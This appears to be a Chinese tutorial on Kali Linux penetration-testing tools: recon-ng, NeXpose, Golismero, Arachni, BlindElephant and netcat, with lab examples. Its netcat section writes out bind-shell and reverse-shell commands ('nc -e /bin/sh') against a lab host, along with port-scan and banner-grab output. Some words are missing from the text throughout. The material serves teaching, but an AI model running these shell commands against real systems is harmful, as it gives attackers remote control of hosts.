这些工具大体分为以下几类:
● 信息侦察工具;
● 漏洞扫描程序;
● Web 应用程序工具。
● 络工具。
一、侦察工具
recon-ng 是一款帮助我们进行信息侦察的程序。确切的说,它是自动侦察目标、自动识别目标的框架。如果您熟悉的框架界面,您可能就会觉得recon-ng的界面很顺手——recon-ng的界面模仿的就是的界面。
默认安装的 recon-ng 带有信息侦察和目标识别的功能模块。对recon-ng的功能模块进行分类统计,可得到以下数据。
● Recon modules(侦察模块):65 个。
● Discovery modules(识别模块):7 个。
● Reporting modules( 告模块):4 个。
● Experimental modules(实验性模块):1 个。
如需启动recon-ng程序,可使用下述指令。
# recon-ng
运行上述指令之后,您将进入到recon-ng框架的提示符(见图1)。大体上看,它的提示信息和Metasploit界面的提示信息十分相似。
图1
如需查看recon-ng支持的各种指令,可以在其提示符状态下使用help指令。这个指令的运行结果如图2所示。
图2
在这些指令中,最常用的几个指令如下所示。
● use 或load:加载指定模块。
● reload:重新加载所有模块。
● info:显示指定模块的具体信息。
● run:运行指定的模块。
● show:展现recon-ng 框架的各种数据对象。
● back:退出当前提示符的级别。
show modules指令可以列出可供使用的全部模块。这个指令的运行结果如图3所示。
图3
下述指令可通过Bing的搜索引擎,收集指定域名的各主机信息。
recon-ng > load recon/hosts/gather/http/web/bing_site
recon-ng [bing_site] > set domain example.com
DOMAIN => example.com
recon-ng [bing_site] > run
[*] URL: http://www.bing.com/search?first=0&q=site%3A example.com
[*] www.example.com
[*] leb.example.com
[*] sos.example.com
[*] forms.example.com
[*] bankrobbers.example.com
[*] vault.example.com
[*] tips.example.com
[*] delivery.example.com
[*] omaha.example.com
[*] chicago.example.com
[*] foia.example.com
[*] 11 total hosts found.
[*] 11 NEW hosts found!
然后,我们通过show hosts 指令查询前一个指令的搜索结果(如图4所示)。
图4
二、漏洞扫描程序
默认安装了OpenVAS。虽然它是一款漏洞扫描程序,但是渗透测试人员不能仅依赖一款工具就确定安全现象。我们应当使用多款工具获取更为全面和详实的信息,充分理解被测信息系统的安全全貌。
下面介绍Rapid7 出品的NeXpose 漏洞扫描程序。
Rapid7 推出的NeXpose Vulnerability Scanner Community Edition(NeXposeCE)是一款免费的漏洞扫描程序。它可以与Metasploit exploit 框架整合。
NeXpose 共享版具有以下特性:
● 能够扫描最多32 个IP;
● 漏洞数据库可定期升级;
● 可指定风险评估的优先级;
● 可为改进安全性提供指导建议;
● 可与Metasploit 整合;
● 通过 站提供共享版的有关支持;
● 易于部署;
● 可作为免费的初级安全解决方案。
商业版的NeXpose程序具备更多功能。例如,它对扫描的IP数量没有限制,可进行分布式扫描,扫描 告更为灵活,可进行Web和数据库应用程序扫描,并有专门的技术支持服务。
NeXpose由两个部分组成。
漏洞的后台程序。共享版程序只有一个引擎,即本地引擎。
● NeXpose安全控制台:安全控制台负责与扫描引擎互动,以启动扫描任务并接收扫描结果。控制台还配有可配置、操作扫描引擎的Web接口。
在初步了解了NeXpose共享版的情况之后,我们接下来安装这个程序。
(1)安装NeXpose
在Kali Linux 种安装NeXpose 共享版的具体步骤如下。
1)官 下载安装程序。您首先需要使用工作E-mail 进行注册。此后, 站会把NeXpose CE 许可证密钥和下载指南发送给注册的E-mail 地址。
2)根据E-mail里的信息下载NeXpose共享版的安装程序。本例下载的是适用于64位Linux的安装程序——NeXposeSetup-Linux64.bin。
3)打开终端程序,进入下载文件所在目录。
4)然后通过下述指令启动NeXpose的安装程序。
# ./NeXposeSetup-Linux64.bin
屏幕上会显示NeXpose的安装界面,如图5所示。
图5
5)根据屏幕上的提示进行操作,逐步完成安装过程。请妥善保管在配置过程中设定的用户名和。如果您忘记了用户名或,就要重新安装NeXpose程序。
(2)启动NeXpose
安装完毕之后,您就可以进入程序所在目录启动 NeXpose 程序。默认的安装目录是/opt/rapid7/nexpose。相对应地,您应当通过下述指令进入程序启动脚本所在的目录。
# cd /opt/rapid7/nexpose/nsc
然后通过下述脚本程序启动NeXpose。
# ./nsc.sh
由于NeXpose 需要在启动过程中初始化漏洞信息数据库,所以程序的启动过程可能要花费数分钟的时间。待程序启动完毕,您就可以通过浏览器登录到NeXpose的安全控制台。
如果把NeXpose程序安装为守护进程(daemon),那么启动系统的时候它都会自动启动;另外,用户的注销操作也不会终止守护进程。把它安装为守护进程的具体步骤如下。
1)使用下述指令进入文件nexposeconsole.rc的所在目录。
# cd [installation_directory]/nsc
2)打开这个文件,并确定NXP_ROOT变量已经设置为NeXpose的安装目录。
3.把文件nexposeconsole.rc复制到目录/etc/init.d,并将它重命名。本例通过下述指令把它重命名为nexpose。
# cp [installation_directory]/nsc/nexposeconsole.rc /etc/init.d/nexpose
4)通过下述指令设置启动脚本的文件权限。
# chmod +x /etc/init.d/nexpose
5)并让守护进程伴随系统启动。
# update-rc.d nexpose defaults
6)可以通过下述指令控制NeXpose守护进程的启动、终止和重启。
# /etc/init.d/nexpose <start|stop|restart>
(3)登录NeXpose
如欲登录到NeXpose共享版控制台的Web界面,就得遵循以下操作步骤。
1)打开浏览器并访问 https://127.0.0.1:3780。如果没有出现意外错误,您就会看到程序的登录界面。首次打开这个页面时,浏览器将会提示 Untrusted Connection 信息。您需要验证证书并把这个这个 站和证书设置为永久例外的规则。此后,您就再也不会看到这个警告信息了。
2)在首次访问控制台的时候,控制台将会进行初始设置。它会从Rapid7 的服务器上下载更新安装包。更新程序的过程耗时较长。
3)待程序完成初始化设置,您就可以使用在安装过程中设置好的用户名和登录。如图6所示,在输入用户名和之后点击Log on按钮。
图6
4)控制台将会提示您输入激活信息。如图7所示,在窗口的文本框内输入产品许可证密钥之后,点击Activate with key 以完成激活。
图7
初次登录到控制台的时候,您会看到NeXpos的新闻页面。这个页面详细列出了NeXpose系统安装了的更新信息和功能改进纪录。如果看得到这个页面,就说明您所用的Kali Linux系统已经成功地安装了NeXpose共享版程序。
KaliLinux自带的Iceweasel浏览器可能无法登录到NeXpose 的安全控制台。如果发生这种情况,您就要安装 Firefox 浏览器。
(4)使用NeXpose
下面将使用NeXpose对局域 进行一次简单的扫描。具体方法如下。
1)如图8所示,在NeXpose的控制面板中点击Home,然后点击New static site in Site Listing以扫描指定 站。
图8
2)此后,依照屏幕上的向导对 站的配置进行设置。此后,在菜单中依次选中 Site configuration | General。然后在这个选项卡中设置 站名称、任务重要程度和任务描述。接下来点击Next按钮,在下一个选项卡中进行设置。
3)在Assets 选项卡中,指定扫描目标的IP地址。共享版(CE)的NeXpose 最多可扫描32个IP,这个数字也是目标主机数量的上限。然后点击Next按钮,进入下一个选项卡。本例中,我们将使用 NeXpose 扫描运行 Metasploitable 2 的主机,即扫描192.168.56.102。具体设置如图9所示。
图9
4)然后您需要在Scan Setup中进行配置。此处,我们选用Full audit的全面扫描模板其他的设置就采取程序的默认设置。然后点击Next按钮,进入下一个选项卡。
5)设置好选项之后,要点击 Save 按钮,保存各项配置设定。此后,刚才保存的扫描任务就会出现在程序的Site Listing 中。点击scan图标即可手动启动扫描任务。
6)启动任务之后,界面将会显示Start New Scan 窗口。验证信息的正确性之后,点击Start Now 按钮运行扫描任务。
7)如图10所示,当NeXpose 完成扫描任务之后,它的控制台会显示扫描结果。
图10
8)图11就是程序目标主机的漏洞 告。
图11
9)如需查看详细的审计 告,可以在顶级菜单里点击 Reports,并运行 Report Generator( 告生成工具)。此次任务的审计 告如图12所示。
图12
以上就是NeXpose 共享版程序的简要介绍。
三、Web应用程序测试工具
1、Golismero
Golismero是一款开源的Web应用程序测试框架,它由Python语言编写。Golismero的主要特征如下所示。
● 它能收集、整理多款著名测试程序(例如sqlmap、xsser、openvas、dnsrecon和theharvester)的扫描结果。
● 它整合了CWE、CVE 和OWASP 的数据库。
Kali Linux安装的Golismero版本过老,不能进行Web应用程序的相关测试。
然后将之解压缩。接下来,可通过下述指令查看Golismero的帮助信息。
python golismero.py -h
程序显示的帮助信息如图13所示。
图13
扫描某个 站的指令如下所示。
python golismero.py 192.168.1.138 -o 192-168-1-138.html
扫描结果如图14所示。
图14
它生成的扫描 告如图15所示。
图15
2、Arachni
Arachni是一款由Ruby语言编写的扫描Web应用程序的工具。它采取模块化设计,性能卓越。
Arachni的功能十分强大,它能够:
● 支持SSL;
● 在审计的过程当中检测到注销状态并能重新登录;
● 高速处理HTTP请求;
● 进行并发扫描;
● 充分利用有限带宽精确识别被测目标的软件平台;
● 排查各种漏洞,可检测漏洞、CSRF、代码注入、LDAP 注入、路径遍历、文件包含和XSS问题。
美中不足的是,Arachni也有很多局限:
● 它不支持DOM、Java、AJAX 和HTML5;
● 它的 告可能有假阳性的误 。
Kali Linux默认安装的是0.4.4 版的Arachni 程序。
下述指令将显示帮助信息,并列出Arachni支持的各种指令。
arachni -h
列举所有模块的指令如下所示。
arachni –lsmod
上述指令的运行结果如图16所示。
图16
出于演示的需要,我们使用 Arachni 扫描一个叫作 DVWA 的Web应用程序,并把扫描 告保存为HTML文件。假如运行DVWA程序的主机使用的IP是192.168.2.22,那么我们需要使用的指令如下所示。
arachni http://192.168.2.22/dvwa/ –report=html:
outfile=./192-168-2-22-dvwa.html
扫描 告将会保存在目录/usr/share/arachni/bin/中。使用浏览器打开这个 告文件,将会看到如图17所示的信息。
图17
3、BlindElephant
BlindElephant是一款可对Web应用程序进行指纹对比的识别程序。这款工具通过扫描某些固定位置的静态文件,把这些文件的哈希值与各版本Web应用程序的那些文件的哈希值进行比对,从而鉴定被测Web应用程序的版本信息。
这种识别技术的鉴定速度快,带宽消耗低,无危害,通用性高且高度自动化。
如需显示BlindElephant的帮助文件,可使用以下指令。
BlindElephant.py -h
上述指令将会在屏幕上显示出程序的帮助信息。
如需了解BlindElephant支持的Web应用程序,或者需要列出它所支持的插件,可使用下述指令。
BlindElephant.py –l
上述指令的运行结果如下(见图18)。
图18
如欲鉴定目标 站使用的哪个版本的WordPress程序,可使用下述指令。
BlindElephant.py target wordpress
上述指令的输出结果如下。
Hit http://target/readme.html
Possible versions based on result: 3.1.3, 3.1.3-IIS
Hit http://target/wp-includes/js/tinymce/tiny_mce.js
Possible versions based on result: 3.1.1, 3.1.1-IIS, 3.1.1-RC1,
3.1.1-RC1-IIS, 3.1.2, 3.1.2-IIS, 3.1.3, 3.1.3-IIS, 3.1.4, 3.1.4-IIS
…
Possible versions based on result: 3.1, 3.1.1, 3.1.1-IIS, 3.1.1-RC1,
3.1.1-RC1-IIS, 3.1.2, 3.1.2-IIS, 3.1.3, 3.1.3-IIS, 3.1.4, 3.1.4-IIS,
3.1-beta1, 3.1-beta1-IIS, 3.1-beta2, 3.1-beta2-IIS, 3.1-IIS, 3.1-RC1,
3.1-RC2, 3.1-RC2-IIS, 3.1-RC3, 3.1-RC3-IIS, 3.1-RC4, 3.1-RC4-IIS
Fingerprinting resulted in:
3.1.3
3.1.3-IIS
Best Guess: 3.1.3
BlindElephant 对被测的WordPress 程序的鉴定结果是 3.1.3 版程序。依据版本信息,我们可找到相应版本存在的安全漏洞。
四、 络工具
下面介绍一款多用途的 络工具。有些人把它叫做TCP/IP协议的瑞士军刀,它的名字就是NetCat。
netcat是一款借助连接或UDP协议读写数据的工具。默认情况下,它使用协议传递数据。无论是人工输入的指令,还是其他的程序和脚本,都可以调用这款工具传输数据。ncat程序是netcat的改进版本。您应当注意的是,netcat不会对传输的数据进行加密。
人员多数都了解netcat各种不同的用法。这款工具小巧,可移植性高,功能强大,可以在被测主机上单独运行。下面将针对渗透测试工作的需要演示 Netcat 程序的使用技巧。 络配置情况如下。
● SSH Web 服务器的IP 地址是192.168.2.22;
● 客户端的IP 地址是192.168.2.23。
(1)打开连接
netcat可以替代telnet的客户端程序,直接连接到指定IP地址的任意端口。这是它的最简单的用法。
例如,可使用下述指令连接到192.168.2.22的22端口(SSH服务)。
# nc 192.168.2.22 22
远程服务器的回复信息如下。
SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1
然后,我们使用组合键Ctrl+C关闭连接。
(2)提取服务标题
您可以通过前一个例子里用到的技术提取多数 络服务的服务标题(service banner)。不仅SSH服务有标志性的标题,其他的 络服务多数都有相应的服务标题。如果某个端口运行着HTTP服务,那么您需要使用HTTP指令提取标题信息。
例如,我们可使用下述指令提取Web服务软件的版本信息和操作系统信息。
# echo -e “HEAD / HTTP/1.0nn” | nc 192.168.2.22 80
得到服务器响应如下。
HTTP/1.1 200 OK
Date: Tue, 08 Oct 2013 14:09:14 GMT
Server: Apache/2.2.8 (Ubuntu) DAV/2
X-Powered-By: PHP/5.2.4-2ubuntu5.10
Connection: close
Content-Type: text/html
上述信息表明,Web 服务的后台程序是Apache,主机的操作系统是Ubuntu 5.10。
(3)简易聊天服务器
如果要使用netcat程序在1234端口上运行聊天服务器,可使用下述指令。
# nc -l -p 1234
此后,您就可以使用telnet、netcat或者相似的软件,连接到服务端程序。
$ telnet 192.168.2.22 1234
随后所输入的所有字符,都将显示在服务端的netcat程序里。
这实际上建立了一种简单的双向通信连接。
如需关闭连接,可使用组合键Ctrl+C。
(4)文件传输
如果要传递一个名为thepass的文件,可在接收端运行下述指令。
# nc -l -p 1234 > thepass.out
然后在发送端运行下述指令。
# nc -w3 192.168.2.22 1234 < thepass
从发送端将会把文件 thepass 传输到接收端。而后,接收端会把文件储存为thepass.out。
在任务中可使用netcat传输文件。当利用了被测主机的并建立reverse 之后,用它传递文件。幸运的是,被测主机装有netcat程序,用它传递文件并没有发生问题。
(5)端口扫描
netcat还可以胜任简单的端口扫描工作。本例将使用netcat程序扫描被测主机的TCP 1~1000端口,同时指定程序:显示详细信息(-v)、禁止解析DNS名称(-n)、不发送任何数据(-z)、超时设置为1 秒(-w 1)。综合以上要求,我们需要使用的指令如下所示。
# nc -n -v -z -w 1 192.168.2.22 1-1000
(UNKNOWN) [192.168.2.22] 514 (shell) open
(UNKNOWN) [192.168.2.22] 513 (login) open
(UNKNOWN) [192.168.2.22] 512 (exec) open
(UNKNOWN) [192.168.2.22] 445 (microsoft-ds) open
(UNKNOWN) [192.168.2.22] 139 (netbios-ssn) open
(UNKNOWN) [192.168.2.22] 111 (sunrpc) open
(UNKNOWN) [192.168.2.22] 80 (http) open
(UNKNOWN) [192.168.2.22] 53 (domain) open
(UNKNOWN) [192.168.2.22] 25 (smtp) open
(UNKNOWN) [192.168.2.22] 23 (telnet) open
(UNKNOWN) [192.168.2.22] 22 (ssh) open
(UNKNOWN) [192.168.2.22] 21 (ftp) open
可见,主机192.168.2.22开放了多个端口(514、513、512、445、139、111、80、53、25、23、22、21)。
虽然netcat确实具有端口扫描的功能,但是建议您还是使用进行端口扫描。在这方面,毕竟的功能更为讲究。
(6)backdoor shell
我们同样可以使用netcat程序实现一种可获取的。这种情况下,要指定程序的监听端口(通过-p选项设置)和(通过-e选项设置)。
如果要在1234 端口上打开/bin/sh的shell,可使用下述指令。
# nc -e /bin/sh -l -p 1234
此后,我们在客户端上使用telnet或相似的客户端程序连接到服务端后门。
telnet 192.168.2.22 1234
在telnet客户端程序提示相应信息之后,您就可以通过这个在服务端的主机上使用任意指令。
例如,我们首先通过id指令获取登录账 的相关资料,可得到如下信息。
uid=1000(msfadmin) gid=1000(msfadmin)
groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video), 46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin)
接下来,我们通过下述指令查看服务端当前目录的所有文件。
ls -al
total 9276
drwxr-xr-x 10 msfadmin msfadmin 4096 2013-09-16 18:40 .
drwxr-xr-x 6 root root 4096 2010-04-16 02:16 ..
lrwxrwxrwx 1 root root 9 2012-05-14 00:26 .bash_
history -> /dev/null
drwxr-xr-x 3 msfadmin msfadmin 4096 2013-09-08 03:55 cymothoa
1-beta
-rw-r–r– 1 msfadmin msfadmin 18177 2013-09-08 03:36 cymothoa
1-beta.tar.gz
drwxr-xr-x 4 msfadmin msfadmin 4096 2010-04-17 14:11 .distcc
-rw-r–r– 1 msfadmin msfadmin 1669 2013-08-27 10:11 etc-passwd
-rw-r–r– 1 msfadmin msfadmin 1255 2013-08-27 10:11 etc-shadow
drwxr-xr-x 5 msfadmin msfadmin 4096 2013-06-12 01:23 .fluxbox
drwx—— 2 msfadmin msfadmin 4096 2013-09-14 08:25 .gconf
drwx—— 2 msfadmin msfadmin 4096 2013-09-14 08:26 .gconfd
-rw——- 1 root root 26 2013-09-14 08:57 .nano_his
tory
-rwxr-xr-x 1 msfadmin msfadmin 474740 2013-09-14 09:38 ncat
drwxr-xr-x 21 msfadmin msfadmin 4096 2013-09-14 09:31 nmap-6.40
-rw-r–r– 1 msfadmin msfadmin 586 2010-03-16 19:12 .profile
ls 指令的运行结果会回显在客户端的屏幕上。如果在服务端是以 root 权限运行的netcat程序,那么连接到这个的客户端用户同样具有服务端主机的全部root权限。不过并不是真正的终端,也就是说您无法在上运行su之类的指令。
需要注意的是,netcat不会进行加密连接;此外,只要发现了后门的端口,就可连接到相应端口,对服务端主机进行控制。
(7)reverse shell
netcat 的reverse 工作模式和上一个例子的连接模式恰恰相反。刚才的例子中,我们在服务端开放了一个端口,并把 绑定到这个端口。reverse 则是让远程主机(的服务器端)连接到我们所用的主机(即的客户端)。
首先,我们在客户端主机上运行下述指令。
# nc -n -v -l -p 1234
然后在服务器端运行下述指令。
# nc -e /bin/sh 192.168.2.23 1234
如果客户端主机提示以下信息,则说明我们已经连接到了reverse shell。
connect to [192.168.2.23] from (UNKNOWN) [192.168.2.22] 53529
此后,您可以在客户端主机向服务器端主机发布任意指令。
例如,可在客户端程序里使用下述指令查看远程主机的IP地址。
ip addr show
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0:<BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_ fast qlen 1000
link/ether 08:00:27:43:15:18 brd ff:ff:ff:ff:ff:ff
inet 192.168.2.22/24 brd 192.168.2.255 scope global eth0
inet6 fe80::a00:27ff:fe43:1518/64 scope link
valid_lft forever preferred_lft forever
在客户端程序里,可执行远程主机支持的所有指令。
五、结语
介绍的工具都是广受欢迎的、功能强大且成熟度很高的程序。
首先对这些工具进行简要介绍,而后演示了其安装和配置方法,并讲解了它们的各种使用方法。
声明:本站部分文章及图片源自用户投稿,如本站任何资料有侵权请您尽早请联系jinwei@zod.com.cn进行处理,非常感谢!